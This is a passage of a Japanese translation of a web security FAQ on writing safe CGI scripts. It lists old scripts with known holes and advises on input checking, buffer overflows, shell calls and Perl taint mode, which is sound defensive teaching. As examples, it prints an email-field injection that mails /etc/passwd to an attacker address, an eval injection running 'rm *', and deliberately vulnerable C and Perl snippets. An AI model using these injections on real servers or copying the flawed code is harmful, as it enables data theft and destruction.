  5. ユーザから送信された内容が正しいかどうか確認するようになっているか。 送信内容の正当性が確認されるようになっていれば、作成者がセキュリティの問題について考えている証拠です。
  6. 外部のプログラムを呼び出すときに、はっきりとしたパス名を使用するか。 パス名の一部を分解するPATH環境変数に頼るのは危険な方法です。

Q35: セキュリティホールがあると言われているCGI スクリプトを教えてください。

広く普及している CGI スクリプトの中で、かなり多くのものが良く知られたセキュリティホールを持っています。 ここで紹介するものの多くは発見され fix されましたが、古いバージョンの CGI スクリプトを使用している場合はまだ危険です。 使用しているものを削除し、最新バージョンのものを入手してください。fix されたものがない場合は、削除するしかありません。
HotMail
広く普及しているHotMail の電子メールシステムを実行するCGI スクリプトは、 認可されていない人がユーザの電子メールアカウントに入りメールを読んでしまうことができる欠陥のあるセキュリティシステムを使っています。 この問題は、1998 年 12月の時点での HotMail のバージョンに存在することが知られています。 詳細については、以下のリンクを参照してください。

Matt Wrightの TextCounter バージョン 1.0-1.2 (Perl) と 1.0-1.3 (C++) (1998 年 6 月)
初期のバージョンの TextCounter は、ページのヒット数を書き出すのに使われるのですが、 ユーザが提供した情報から shell メタキャラクタを削除しません。その結果、リモートユーザはサーバホストで shell コマンドを実行できます。これは、Perl と C++の両方のバージョンに影響しています。 1.21 (Perl) または version 1.31 (C++) にアップグレードしてください。

様々なゲストブックスクリプト (1998 年 6 月)
様々なゲストブックスクリプトを巻き込んでの乱用が報告され続けています。はじめは、 Selena Sol ゲストブックでしたが、他のスクリプトも影響されています。これらの乱用は、 ユーザの提供した情報から HTML タグを取らず、 さらに、ゲストブックファイルをサーバサイドインクルードを許可するようなディレクトリに書き出してしまうスクリプトを利用します。 ゲストブックスクリプトは、HTML タグを取るか、山括弧を > や <記号の構成要素に置き換えてください。 書き出したファイルは、サーバサイドインクルード、Active Server Page、PHP ページ、その他の HTML テンプレートシステムを許可するようなディレクトリには入れないでください。 この問題の詳細については、Selena Sol/Extropia の全文説明 http://www.extropia.com/ を参照してください。

Excite Web Search Engine (EWS) バージョン (1998 年 11 月)
Excite Web Search Engine は誰でも書出し可能のファイル内に重大なセキュリティ情報 (暗号化された管理パスワードを含む)を保管しています。これにより、UNIX と NT のシステムの両方で、特権のないローカルユーザも EWS の管理端末にアクセスすることができてしまいます。

このバグは、サーチエンジンをローカルにインストールした場合のみ、あなたの Web サイトを危険にさらすというとに注意してください。 Excite.com の検索ページや Excite ロボットの索引に載っているページにリンクしても、サイトには影響しません。

1998 年 2 月以前のパッチされていないバージョンでは、さらに悪い問題が見つかっています (残念ながら、これもバージョン 1.1 と呼ばれています)。 このバグは、ユーザの供給したパラメータを、 shell に送る前にチェックせずに、リモートユーザが shell コマンドをサーバホスト上で実行できてしまうという欠陥です。 そのコマンドは、Web サーバの特権で実行されることになります。

詳細とパッチについては http://www.excite.com/navigate/patches.htmlを参照してください。

info2www バージョン 1.0-1.1
info2www は GNU "info" のファイルを Web ページに変換するものですが、 ファイルを開ける前に、ユーザが提供したファイル名をチェックしないという欠陥があります。 その結果、システムファイルを開いたり、shell メタキャラクタを含むコマンドを実行させられる可能性があります。 バージョン 1.2 以上のものはこの問題はないと報告されていますが、おそらくインストールする前にソースコードを自分自身で調べる方が良いでしょう。 また、明らかに info2www をベースとしている info2html および infogate のCGI スクリプトもよく調べてください。

Count.cgi、バージョン 1.0-2.3
Count.cgi はページのヒット数を数えるために広く使用されていますが、 スタック・オーバフローのバグを含んでいます。スタックオーバフローとは、悪意のあるリモートユーザが入念に作られた問い合わせ文字列をスクリプトに送ることでサーバの UNIX コマンドを実行できるようにしてしまうものです。バージョン 2.4ではこのバグは修正されました。 このバージョンは以下で入手できます。 http://www.fccc.edu/users/muquit/Count.html.

IRIX Mindshare Out Box バージョン 1.0-1.2の一部であるwebdist.cgi
このスクリプトは、ユーザがネットワークを介してソフトウェアをインストールおよび配布するシステムの一部です。 CGI パラメータのチェックが不十分なために、リモートユーザはサーバシステム上でサーバデーモンの許可を得てコマンドを実行することが可能です。
1997 年 6 月 12 日の時点で、このバグは修正されていません。 パッチや代替手段については、Mindshare にお問い合わせください。 お持ちの webdist.cgi のコピーが修正されるまで、その実行許可を削除して実行できないようにしてください。.

複数のバージョンのphp.cgi
php.cgi スクリプトは、HTML ページや、データベースアクセス、その他の便利な機能に組み込まれる HTML 埋め込みプログラム言語を供給するものですが、決して (cgi-binの) ディレクトリにインストールしないでください。 インストールすると、インターネット上で誰でもが Web サーバのホストマシンで Shell コマンドを実行することを可能にしてしまいます。加えて、2.0b11 までのバージョンには既知のセキュリティホールが含まれています。必ず最新のバージョンに更新して、その他のセキュリティ関連のニュースについて、 PHP のサイト(下記の URL を参照) を確認してください。PHP の Apache module バージョンは CGI スクリプトとしては機能しないので、これらのホールは含んでいないと言われています。しかし、 システムは常に最新のものにしておく方が良いでしょう。
http://php.iquest.net/

Novell WebServer Examples Toolkit v.2 の一部である files.pl
Novell WebServer に付随しているfiles.pl example の CGI スクリプトは、 ユーザの入力情報の確認を行わないため、システムのすべてのファイルやディレクトリを見ることを可能にし、 機密文書を危険にさらしたり、システムに侵入するために必要な情報をクラッカ−に与えてしまう可能性があります。 このスクリプトも、他の必要のない CGI スクリプトもすべて削除してください。

Microsoft FrontPage Extensions バージョン 1.0-1.1
特定の状況下で、認可されていないユーザが認可されたユーザのファイルに追加や上書きなどの破壊行為を行うことが可能となります。 サーバサイドインクルードが実行可能なシステムでは、リモートユーザがこのバグを利用して、 コマンドをサーバで実行可能な場合があります。
http://www.microsoft.com/security/bulletins/

すべてのバージョンのnph-test-cgi
このスクリプトは NCSA httpd と apache デーモンの多くのバージョンに含まれていますが、リモートユーザがサーバ上のディレクトリのファイルリストを入手するのに利用できます。 これは削除するか、または (実行許可を削除することにより) disable にするべきです。
nph-publish、バージョン 1.0-1.1
ある状況では誰でも書き込み可能なサーバのファイルをリモートユーザが徹底的に破壊することができます。
http://www.genome.wi.mit.edu/~lstein/server_publish/nph-publish.txt

AnyForm、バージョン 1.0
リモートユーザがサーバでコマンドを実行することができます。
http://www.uky.edu/~johnr/AnyForm2

FormMail、バージョン 1.0
リモートユーザがサーバでコマンドを実行することができます。
http://alpha.pr1.k12.co.us/~mattw/scripts.html

すべてのバージョンの NCSA httpd および Apache に添付される "phf" phone book 用スクリプト
リモートユーザがサーバでコマンドを実行することができます。
http://hoohoo.ncsa.uiuc.edu/

私自身の生涯の痛恨事として、バグの見つかった CGI スクリプトの1つ nph-publishを使用したことがあります。 私はこれを使って Netscape Navigator Goldなどのパブリッシュ用エディタから Apache の Web サーバに HTML 文書を「公開」できるスクリプトを作成したのですが、ユーザ供給のパス名を正しく確認せず、 許可されていない部分にファイルを書き込む危険のあるスクリプトになってしまいました。 サーバが非常に多くの特権を持って実行されている場合、このバグは大きな問題となる可能性があります。 このスクリプトを使用している場合は、必ずバージョン 1.2 以降に更新してください。 このバグは、Randal Schwartz氏 (merlyn@stonehenge.com) によって発見されました。

リスト中、nph-publishの次の 二つのスクリプトのバグは Paul Phillips 氏(paulp@cerf.net) によって発見されました。彼はまた、CGI security FAQの作成者でもあります。 PHF (phone book) スクリプトのバグは Jennifer Myers氏 (jmyers@marigold.eecs.nwu.edu)によって発見され、NCSA の util.c ライブラリを使用するすべての CGI スクリプトにおける潜在的なセキュリティホールの代表となっています。 util.c の問題を fix するパッチはこちら です。

このページでは、バグのあるスクリプトの報告が随時掲載されます。

なお、Net.Genesis社とDevra Hallの共著「Build a Web Site」 という本の中で "good CGI scripting" の例として挙げられているあるスクリプトは、確認していないユーザをシェルに有効にしてしまうという古典的なエラーを含んでいます。 問題のスクリプトが掲載されているのは 11.4 章「Basic Search Script Using Grep」 443ページ です。 この本の中のその他のスクリプトも、同じようなセキュリティホールを含んでいるかもしれません。

ここで挙げたリストは、完成からほど遠いものです。一般に公開されたすべての CGI スクリプトを監視する中心機関はありません。 しかし、CERTではバグのあるスクリプトの情報を把握した場合には、警告通知を発行しています。 CERTのメーリングリストに登録する、あるいはときどき警告の記録を見るのは賢明と言えるでしょう。

最終的には、各スクリプトを調査し、そのスクリプトがなにか安全でないことをしないかどうか確かめるのは、自分自身なのです。


Q36: カスタムで CGI スクリプトを開発しています。何か避けた方が良い、危険なやり方はありますか?

  1. 自分のサイトとサーバホストについての情報をあまり多く渡すことは避けてください。

    いくら巧妙な効果を作り出すことができるからといっても、システムの情報を漏らしてしまうスクリプトは避けるべきです。 たとえば、"finger" コマンドは、指名されたユーザのホームディレクトリの物理パスを出力するので、 fingerを呼び出すスクリプトからこの情報が漏れることになります (finger デーモンは完全に disable にしておくべき、 できれば削除してしまうべきです)。 w コマンドはローカルユーザが使用しているプログラムについての情報を与えます。 ps コマンドはどのような形式でも、システムで実行されているデーモンについての重要な情報を、 侵入しようとしているユーザに与えます。

  2. C のようなコンパイルされた言語を使用する場合は、ユーザ入力情報のサイズについて仮定することは避けてください。

    ユーザ入力を読み込むときにキャラクタバッファのオーバフローを許すようなコーディングは、 セキュリティホールを作る大きな要因となっています。問題の簡単な例を記します。

       #include <stdlib.h>
    #include <stdio.h> static char query_string[1024]; char* read_POST() {
    int query_size; query_size=atoi(getenv("CONTENT_LENGTH")); fread(query_string,query_size,1,stdin); return query_string; }
    ここでの問題は、作成者が、POST リクエストによって供給されたユーザ入力情報が固定された入力バッファのサイズ、 この例では 1024 バイトを決して超えない、と仮定をしたことにあります。これは良くありません。 ずる賢いクラッカーはそのサイズの入力を何度も供給することでこの種のプログラムを壊すことができます。 バッファがオーバフローし、プログラムがクラッシュします。ある状況では、プログラムがクラッシュすると、 クラッカーがリモートでコマンドを実行可能となることもあります。

    この問題を、直接バッファを割り当てることで回避した、read_POST() 機能の簡単なバージョンがあります。 入力情報を保存するのに十分なメモリがない場合、その内容は NULL に戻されます。

       char* read_POST() {
    int query_size=atoi(getenv("CONTENT_LENGTH")); char* query_string = (char*) malloc(query_size); if (query_string != NULL) fread(query_string,query_size,1,stdin); return query_string; }
    もちろん、一度データに読み込んだらバッファがオーバフローしないように常に確認するべきです。 strcpy()、strcat() や終わりに達するまで文字列をコピーするその他の文字列機能には気をつけてください。 代わりに strncpy() または strncat() 呼び出しを使用してください。
       #define MAXSTRINGLENGTH 255
       char myString[MAXSTRINGLENGTH + sizeof('\0')];
       char* query = read_POST();
       assert(query != NULL);
       strncpy(myString,query,MAXSTRINGLENGTH);
       myString[MAXSTRINGLENGTH]='\0';      /* ensure string terminator */
    
    (strncpy のセマンティクスは 入力文字列がちょうどMAXSTRINGLENGTHのバイトの長さになるときは注意してください。NULL で終わるよう調整する必要があります。)

  3. 絶対に、決して、確認していないリモートユーザの入力情報を shell コマンドに渡さないでください。

    C では、popen() や system() コマンドなどにこれが言えます。これらはすべてコマンドを処理するために /bin/sh のサブシェルを呼び出します。Perlでは Perlのインタプリタを呼び出すeval() や、 system()、 exec()、および piped open() などにこれが言えます。様々なシェルでは、exec や eval コマンドなどに同じことが言えます。

    シェルのインタプリタや Perl ではテキストの文字列としてプログラムの出力を理解する Backtick 引用句もまた、危険です。

    これほどまでにこだわる理由は、以下に示す一見何の問題もなさそうなPerl のコードを見ていただければ分かります。 これは、記入フォームに記されたアドレスにメールを送信するコードです。

       $mail_to = &get_name_from_input; # read the address from form
       open (MAIL,"| /usr/lib/sendmail $mail_to");
       print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
       close MAIL;
    
    問題は、piped open() 呼び出しにあります。作成者は $mail_to 変数の内容はいつも悪意のない電子メールアドレスだと想定していますが、 もしずる賢いクラッカーが以下のような電子メールアドレスを渡したらどうなるでしょうか。
         nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
    
    これに対しopen() の記述は以下のコマンドを判断します。
    /usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwd
    
    open() は何も考えずにシステムパスワードファイルの内容をリモートユーザにメール送信してしまい、その結果ホストのパスワードを攻撃にさらすことになります。

Q37: eval()、exec()、popen()、system() が使えないとしたら、どうやってデータベース / サーチエンジン / グラフィックのパッケージへのインターフェースを作成するのですか?

これらの呼び出しを絶対に避けなければいけない、というわけではありません。ただ、呼び出しをする前に、 自分が何をしているのか、しっかりと理解しておくべきだというだけです。 ある場合は他の方法で外部のプログラムを呼び出すことで、シェルを通してユーザ供給の変数を渡すことを避けられます。 たとえば、sendmail は -t オプションをサポートしていますが、 それは sendmail にコマンド行のアドレスを無視するよう指示し、 電子メールのヘッダから送信先のアドレスを取り込みます。 上の例は、この機能を利用するために下記のように書き換えられます(また、行の初めにピリオドが打たれていた時 sendmail が早い段階でメッセージを終えてしまうのを防ぐために、-oi フラグも使用しています)。
   $mailto = &get_name_from_input; # read the address from form
   open (MAIL,"| /usr/lib/sendmail -t -oi");
   print MAIL <<END;
   To: $mailto
   From: me (me\@nowhere.com)
   Subject: nothing much

   Hi there!
   END
   close MAIL;
C のプログラマーは exec ファミリのコマンドを使用し、引数をシェルを通さずに直接プログラムに渡すことができます。 これは、下記の方法を使用すれば、Perl でも可能です。

シェルを開けないようにする方法をなんとか見つけてください。まれに全く選択肢がないという場合は、 シェルのメタキャラクタの引数を常にスキャンし、削除してください。シェルのメタキャラクタは、 以下に示すようにかなりの数があります。

         &;`'\"|*?~<>^()[]{}$\n\r
このリストには、復帰文字や復帰改行文字が含まれていることに注意してください。これらは、C での CGI スクリプトの例として広く普及している NCSA の util.c ライブラリには抜けています。

シェルのメタキャラクタをむやみに削除して予期しない副作用がないように願っているよりも、 ユーザ入力の引数がすべて予期していたものであるか確かめる方が良いでしょう。 シェルを避けてユーザ変数を直接プログラムに渡しても、その変数が呼び出したプログラムにホールを見つけだしてしまう構造を含んでいないとは限らないのです。

例として、ユーザが作った $mail_to アドレスが有効なアドレスに見えるかどうか確かめる方法を挙げます。

  $mail_to = &get_name_from_input; # read the address from form
  unless ($mail_to =~ /^[\w.+-]+\@[\w.+-]+$/) {
     die 'Address not in form foo@nowhere.com';
  }
(この特殊なパターンマッチはサイトによっては限定されすぎているかもしれません。 UUCP-style のアドレス、またはそれに代わるアドレスの仕組みの多くは認められません。)

Q38: 外部プログラムの検索を PATH 環境変数に依存しても安全ですか?

あまり安全とは言えません。クラッカーの得意なトリックのひとつは、PATH 環境変数を取り替えて、 あなたが望んでいたプログラムではなくクラッカーがあなたのスクリプトに実行させたいと望んでいるプログラムを指定させてしまうことです。 確認していないユーザ変数を外部プログラムに渡すことを避けるだけでなく、PATH 環境変数に依存しない完全な絶対パス名を使用してプログラムを起動してください。 つまり、 C コードの断片である、
   system("ls -l /local/web/foo");
の代わりに、以下を使用してください。
   system("/bin/ls -l /local/web/foo");
PATH に依存しなくてはならない場合は、CGI スクリプトの初めに以下を加えます。
   putenv("PATH=/bin:/usr/bin:/usr/local/bin");

一般的に、パスにカレントディレクトリ (".") をつけるのはあまりお勧めできません。


Q39:CGI 「ラッパ」 とは何ですか? CGI スクリプトをより安全にすることのできるものですか?

自動的に CGI スクリプトを完全に安全にできるものは何もありませんが、CGI 「ラッパ」 のスクリプト内に置くことで、ある状況下では安全性を高めることができます。 ラッパはスクリプト上である程度のセキュリティチェックや、CGI 処理の所有権の変更をし、UNIX の chroot のメカニズムを使用してシステムファイルの制限された部分にスクリプトを置くことができます。

UNIX システムでは使用可能なラッパが多数あります。

cgiwrap

cgiwrapプログラムは、Nathan Neulinger 氏 (<nneul@umr.edu>) によって作成されたもので、 大学のキャンパスなどマルチユーザ・サイトにおいて、ローカルユーザが自分のスクリプトを作成できるように設計されたものです。 CGI スクリプトはサーバのユーザ ID (たとえば "nobody") 下で実行されるので、ピンポンメールや、サーバログのエラー、 他のユーザのスクリーンへの嫌がらせのメッセージ表示などが誰のスクリプトの所作なのかを管理者が判断することは困難です。 また、同じ許可ですべてのユーザがスクリプトを実行している場合にも、セキュリティ上の問題があります。 一人のユーザのスクリプトが無意識に (または故意に) 他のユーザのスクリプトで保持されていたデータベースを破壊する可能性があるからです。

cgiwrap はCGI スクリプトの周りにラッパをつけ、 あるユーザのスクリプトが彼自身のユーザ ID で実行するようにすることができます。 これをポリシーとし、 CGI スクリプトを実行するにはcgiwrap を必ず使用するようユーザに強制できます。 そうすれば管理は簡単になり、ユーザがお互いに干渉するのを防ぐことができるのです。

しかし、この種のラッパは個々のユーザに対しては危険を増すことになります。 あるユーザのスクリプトはそのユーザ自身の許可で実行されるため、破壊された CGI スクリプトで以下のコマンドを実行すると、 そのユーザのホームディレクトリを破壊する可能性があるからです。

    rm -r ~

破壊された CGI スクリプト はユーザのホームディレクトリに書き込みアクセス権を持っているので、 そのユーザのディレクトリにトロイの木馬を置くことも可能です。

sbox

もう1つのラッパ はsboxで、著者によって書かれたものです。 cgiwrap のように、CGIの作成者のユーザ、またはそのグループとしてスクリプトを実行できます。 しかし、sboxではCGI スクリプトにより損害が引き起こされるのを防ぐためにさらに手段を設けています。 その1 つとして、sbox は任意で、限定されたディレクトリに対して chroot を実行し、 ユーザのホームディレクトリや残りのファイルシステムの多くから、スクリプトを隠します。 もう 1 つとしては、sbox を使用して CGI スクリプトに対するリソースの割り当てを制限できます。 これにより、ある程度までDoS 攻撃を防ぐことができます。

Apache の UNIX バージョンで実行するときは、sbox はユーザの維持しているディレクトリと仮想ホストをサポートします。

suEXEC

Apache の Web サーバには suEXEC と呼ばれる独自のラッパのスクリプトが添付されています。suEXEC は cgiwrap と同じ機能を持っていますが、 加えてApache の仮想ホストシステムと同調して動作します。 部に、 指定したユーザおよびグループの許可によってスクリプトが実行されるように指令を出します。

Q40: 一般の人々はスクリプトが私のローカルシステムにあるフォームからアクセスされた場合に限り、それを使用することができる、という考えは正しいですか?

違います。スクリプトへのアクセスを、ある IP アドレスやユーザ名 / パスワードの組み合わせで制限することはできますが、 スクリプトがどのようにして呼び出されるかをコントロールすることはできません。 スクリプトはどんなフォームからも世界中のどの場所からも呼び出すことができます。 またスクリプトのフォームのインターフェースを完全に回避し、直接にその URL をリクエストしてスクリプトを呼び出すこともできます。スクリプト用に作成したフォームから常にスクリプトが呼び出されると思わないでください。 パラメータの中には、不足部分があるものや、予期した値が入っていないものもあるということを予想しておきましょう。

スクリプトへのアクセスを制限するときは、スクリプト自体にも、それにアクセスするどの HTMLフォームにも同じように制限をしておいてください。進行中に独自のフォームを作る種類のスクリプトの場合、 これを覚えることが容易です。


Q41: 部外者が「隠し」形式の変数をみたり、あるいは変更したりすることは可能ですか?

もちろんできます! 隠し変数はサーバがブラウザに送る raw HTML では見ることができます。 隠し変数を見るには、ただブラウザメニューから "view source" を選択すれば良いのです。 同じように、ユーザが好みの隠し変数を設定し、あなたのスクリプトに送り返してくることを防ぐのは不可能です。 セキュリティに関しては、隠し文字には依存しないでください。

Q42:"POST" 方式でフォームを送信する方が "GET" よりも非公開になりますか?

サーバログに表示される問い合わせやその過程での Web プロキシについて言うなら、 それは正しいでしょう。POST で送信された問い合わせは通常ログに表示されませんが、 GET では表示されます。しかし、他の点では、この二つの方法にはセキュリティに関しての実質的な違いはありません。 暗号化されていなければ、 GET の問い合わせも POST の問い合わせも容易に傍受できます。さらに、 初期に完成した HTTP の暗号化と違って、最近のデータ暗号化のサーバ / ブラウザの組み合わせは POST の問い合わせも GET の問い合わせも同じように高度に暗号化します。

Q43: 安全な CGI スクリプトの作成について、どこでさらに詳しく知ることができますか?

Paul Phillips 氏 ( paulp@cerf.net)によって管理されている CGI security FAQ は、以下のサイトで見ることができます。
http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt
この文書には役立つアドバイスが非常に多くありますが、1995 年の 9 月から更新されていません。 最近では、Selena Sol 氏が構築済み(プレビルト)の CGI スクリプトのインストールの危険性についての素晴らしい論文を発表しました。 その中にスクリプトの作成やカスタマイズについて、そのセキュリティを高めるために役立つアドバイスが多くあります。 この論文は以下のサイトで見ることができます。
http://Stars.com/Authoring/Scripting/Security/
Perl および CGI のスクリプト作成についての全般的な導入に関しては、Perl CGI FAQ が良いでしょう。
http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html
これは Tom Christiansen 氏(tchrist@perl.com) と Shishir Gundavaram 氏(shishir@ora.com)によって書かれたものです。

7. Perl言語の記述方法

Q44: exec() および system() 関数を呼び出す際に、シェルを介してユーザ変数が渡されるのを防ぐにはどうしたら良いのですか?

Perl 言語では外部のプログラムを様々な方法で呼び出すことができます。 たとえば、backtick を用いて外部プログラム出力を取り込んだり
   $date = `/bin/date`;

プログラムまでのパイプを開いたり

   open (SORT, " | /usr/bin/sort | /usr/bin/uniq");
外部プログラムを呼び出し、それが system() 関数で返されるまで待ったり
   system "/usr/bin/sort < foo.in";
外部プログラムを呼び出し、なおかつ exec() 関数では返されないようにすることができます。
   exec "/usr/bin/sort < foo.in";
構文内にシェルのメタキャラクタを含む可能性のあるユーザ入力情報が含まれていた場合、 これらはエラーを起こすことがあります。system() および exec() 関数は、 シェルを介さずに直接外部プログラムを呼び出すことができるといった、いくぶん構文を曖昧化する機能があります。 引数を外部プログラムに渡す際には、ひとつの長い文字列ではなくいくつかに分けられたリストで渡されます。 Perl 言語はシェルを介さないので、シェルのメタキャラクタが望ましくない影響を及ぼすことがなくなります。
   例: system "/usr/bin/sort","foo.in";
シェルを介さずにパイプを開ける際に、この機能を利用することができます。マジック文字シーケンス "|-" のオープンを呼び出すことでPerlをコピーし、これにパイプを開きます。 この複製 Perl は exec() 関数の変形引数リストを使って他のプログラムを実行することができます。
   my $result =  open (SORT,"|-");
   die "Couldn't open pipe to subprocess" unless defined($result);
   exec "/usr/bin/sort",$uservariable or die "Couldn't exec sort"
        if $result == 0;
   for my $line (@lines) {
     print SORT $line,"\n";
   }
   close SORT;
open() への最初の呼び出しは Perl の複製を作ろうとします。呼び出しに失敗した場合は不定値が返され、 記述はただちに無効となります (このときユーザへ HTML エラーメッセージを送るなど、 より洗練された対策を講じることも可能です)。呼び出しに成功した場合、複製 Perl 処理にゼロが返され、 複製 Perl の処理 ID が複製元 Perl に返されます。 複製 Perl は結果の値を調べ、ただちに sort プログラムを実行しようとします。 この時点で何らかのエラーが生じた場合、複製 Perl は処理を終了します。

複製元 Perl は通常どおり SORT ファイルハンドルに印字します。

シェルを開かずにパイプから読み出すためには、シーケンス -| と同等の処理をします。

   $result = open(GREP,"-|");
   die "Couldn't open pipe to subprocess" unless defined($result);
   exec "/usr/bin/grep",'-i',$userpattern,$filename
              or die "Couldn't exec grep" if $result == 0;
   while (<GREP>) {
     print "match: $_";
   }
   close GREP;
上記はパイプを開くコマンドを実行しないときに使用する open() 関数の形式です。

外部プログラムを呼び出す際にその名前を正確に指定する必要のない、より曖昧化された機能もあります。 この機能は、呼び出される名前によって異なった働きをするプログラムを呼び出すときに便利です。

構文:

   system $real_name "fake_name","argument1","argument2"
例:
   $shell = "/bin/sh"
system $shell "-sh","-norc"
この構文は "-sh" という名前のシェルを呼び出し、インタラクティブに作用するよう強制します。 実際のプログラム名は変数内に格納されています。実際のプログラム名を含む変数と引数リストの間にコンマは入らないことに注意してください。

上記の構文をさらにコンパクトにすることもできます。

   system { "/bin/sh" } "-sh","-norc"

Q45: Perl taintチェックとは何ですか?また、それを起動するにはどうしたら良いでしょうか?

これまで見てきたように、CGI スクリプトにおいて頻繁に生じるセキュリティ上の問題は、 シェルに未チェックのユーザ変数が無意識のうちに渡されてしまうことです。これを防ぐために Perl 言語は "taint" (汚れ、汚点) チェックメカニズムを提供しています。プログラム外部のデータ (環境、スタンダード入力、コマンドラインからのデータ含む)を使用して設定された変数は 「汚れた」ととらえられ、この変数を用いてプログラム外部のものに対して影響させることはできません。 この「汚れ」は拡張性を持ちます。もしも「汚れた」変数を用いて他の変数を設定した場合、 この設定された変数も「汚れた」ことになります。 汚れた変数はeval()、system()、exec()、そしてpiped open() 関数の呼び出しに使うことはで きません。使用した場合には警告メッセージが出されPerlは終了します。 PATH環境変数を明示的に設定せずに外部プログラムを呼び出したときにもPerlは終了します。

taint チェックはPerl Ver. 4では "taintperl" という特殊なインタプリタを使用して起動できます。

   #!/usr/local/bin/taintperl
Perl Ver. 5では -Tフラグをインタプリタへ渡してください。
   #!/usr/local/bin/perl -T
変数を "untaint" する (汚れをとる) 方法については、以下を参照してください。

taint モードに関する詳しい説明は、Gunther Birznieksの CGI/Perl Taint Mode FAQ を参照してください。


Q46:教えていただいたとおりに taint チェックを起動しましたが、何度実行しようとしても "Insecure $ENV{PATH} at line XX" というメッセージが現れ、スクリプトが停止してしまいます。

パスを使用せずに外部プログラムの呼び出しを行っても、呼び出されたプログラムがさらにプログラムの呼び出しを行う場合にパスを使用する場合があります。 このため、taint チェックを使用するときには、必ず以下の行をスクリプトの最初に挿入してください。
   $ENV{'PATH'} = '/bin:/usr/bin:/usr/local/bin';
検索するディレクトリのリストに、この行を必要に応じて調整して挿入してください。ただし、 現在のディレクトリ (".") をパスに入れるのは避けてください。

Q47: 汚れた変数を "untaint" するにはどうしたら良いですか?

いったん変数が「汚れた」場合、Perlではその変数をsystem()、exec()、piped open、eval() の各ステートメント、 backtick コマンドを用いたコマンド、その他unlink等プログラム外部に影響を及ぼす関数に使用することはできません。 また、シェルのメタキャラクタをスキャンしたり、tr///やs///コマンドを使ってメタキャラクタを削除しても、 汚れた変数を使うことはできません。汚れた変数を untaint するには、その変数に対してパターンマッチ操作を実行し、 適合したサブストリングを削除する方法しかありません。たとえば電子メールのアドレスに変数を入れようとする場合、 以下の方法で汚れていないアドレスを抜き出すことができます。
   $mail_address=~/(\S+)\@([\w.-]+)/;
   $untainted_address = "$1\@$2";
これは、"where" がドメイン名のような役割を示し "who" が空白以外の1つ以上の文字で構成される who@where という形式の電子メールアドレスを受け入れるパターンマッチです。ただし、 通常使用されているこの表記法は、電子メールアドレスからシェルのメタキャラクタを消去するものではないことに注意してください。 例えば以下の文字列にはメタキャラクタが含まれていますが、これは電子メールアドレスとしては完全に有効だからです。
fred&barney@bedrock.com
この電子メールの例を見ればよく分かるように、変数を untaint しても、シェルに渡して大丈夫となったわけではありません。 Q44 であげた方法を用いて、 危険性を秘めた変数がシェルに渡されないようにしてください。

Q48: 変数からメタキャラクタをすべて削除しましたが、Perlはまだ汚れていると認識しているのですが。

上記Q47を参照してください。 変数を untaint するにはパターンマッチ操作によってサブストリングを抜き出す方法しかありません。

Q49: $foo=~/$user_variable/ のパターンマッチ操作は安全ではないのですか?

Perl CGI スクリプトで頻繁に行われるのは、リモートユーザの提供するキーワードのリストを取り出し、 パターンマッチ操作を行ってそのリストを適合した (もしくは類似する) ファイル名のリストを取り出すというタスクです。このタスク自体およびその内部に危険性はありません。 危険性は、多くのPerlユーザがパターンマッチ操作の速度を上げるためにおこなう最適化処理にあります。 パターンマッチ操作で変数を使用している場合、パターンマッチ操作が呼び出されるたびにパターンはコンパイルされます。 この無駄なコンパイル処理を避けるため、パターンマッチ操作に "o" フラグを付け加えて Perl に式を一度だけコンパイルするようにすることができます。
    foreach (@files) {
m/$user_pattern/o;
}
しかしこのとき、Perl はユーザ変数に対して行った変更を無視し、以下のようなループを起こしてしまいます。
    foreach $user_pattern (@user_patterns) {
       foreach (@files) {
          print if m/$user_pattern/o;
       }
    }
これを回避するため、Perl プログラマは次のような技を使います。
   foreach $user_pattern (@user_patterns) {
      eval "foreach (\@files) { print if m/$user_pattern/o; }";
   }
ここでの問題は、ユーザが供給する変数を eval() 関数が含んでいることです。 この変数が十分にチェックされないと、eval() 関数は間違って任意の Perl コードを実行してしまいます。 どのような現象が起こるかは、たとえばユーザが "/; system 'rm *'; /" というパターンに eval 関数を渡したらどうなるかを考えてみると分かります。

前に述べた taint チェックは、この潜在的な問題点を見つけることができます。 他の方法として、パターンマッチ操作を最適化していない形式で使用するか、 十分に注意してユーザサプライのパターンを untaint する方法があります。Perl5 では、 エスケーシーケンス \Q \E を使用してメタキャラクタを引用し、 それらが解釈されないようにするという便利な方法もあります。

  例: print if m/\Q$user_pattern\E/o;

Q50: 「匿名」ユーザとして得られるよりもより多くの特権を CSI スクリプトに必要です。 Perl スクリプトを suidとして動作させるにはどうしたら良いですか?

まず何よりも先に、Perl スクリプトを suid スクリプトとして動作させる必要が本当にあるのでしょうか? 「匿名」ユーザよりも多くの特権をあなたのスクリプトに与えた場合、大きなリスクが生じますし、 破壊されたスクリプトに内在していた障害の可能性が増加することにもなります。 もしもスクリプトにルート特権を与えようとする場合、細心の注意を持って検討してください。

"s" ビットを設定することによって、スクリプトに所有者の特権を持たせて動作させることができます。

   chmod u+s foo.pl
また、"s" ビットをグループフィールドに設定することによって、 スクリプトに所有者グループの特権を持たせて動作させることもできます。
   chmod g+s foo.pl
しかし、多くの UNIX システムにはsuid スクリプトを破壊するセキュリティホールがあります。 このホールはスクリプトに対してのみ作用し、コンパイルされたプログラムには影響しません。 このようなシステムで suid ビットが設定された Perl スクリプトを実行しようとすると、 Perl 自身からエラーメッセージが出されます。

このようなシステムに対して、2 つのオプションがあります。

  1. カーネルに対してスクリプトの suid ビットを無効にするようなパッチを当てることができます。 Perlはsuidビットを検出しますが、suid 関数は安全に実行されます。このカーネルパッチを入手する方法については、 Perl の FAQ を参照してください。Perl の FAQ については以下のサイトを参照してください。

    ftp://rtfm.mit.edu/pub/usenet-by-group/comp.lang.perl/

  2. プログラムの周辺に C ラッパを置くことができます。典型的なラッパは以下のようなものです。
           #include <unistd.h>
           void main () {
           execl("/usr/local/bin/perl","foo.pl","/local/web/cgi-bin/foo.pl",NULL);
           }
           
    このプログラムをコンパイルしたのち、suid スクリプトにしてください。所有者の承諾を得た状態で動作し、 Perl のインタプリタが立ち上がり、ファイル "foo.pl" 内のステートメントが実行されます。

